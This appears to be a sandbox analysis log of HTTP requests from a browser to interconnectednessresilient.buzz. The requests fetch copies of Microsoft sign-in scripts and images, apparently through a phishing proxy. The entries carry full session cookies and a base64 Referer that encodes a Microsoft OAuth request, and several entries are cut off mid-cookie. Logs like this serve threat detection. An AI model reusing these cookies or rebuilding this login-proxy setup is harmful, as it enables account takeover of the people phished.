Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/oneDs_641b1cf809bdc17b42ab.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuW
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/oneDs_641b1cf809bdc17b42ab.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5p
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5k
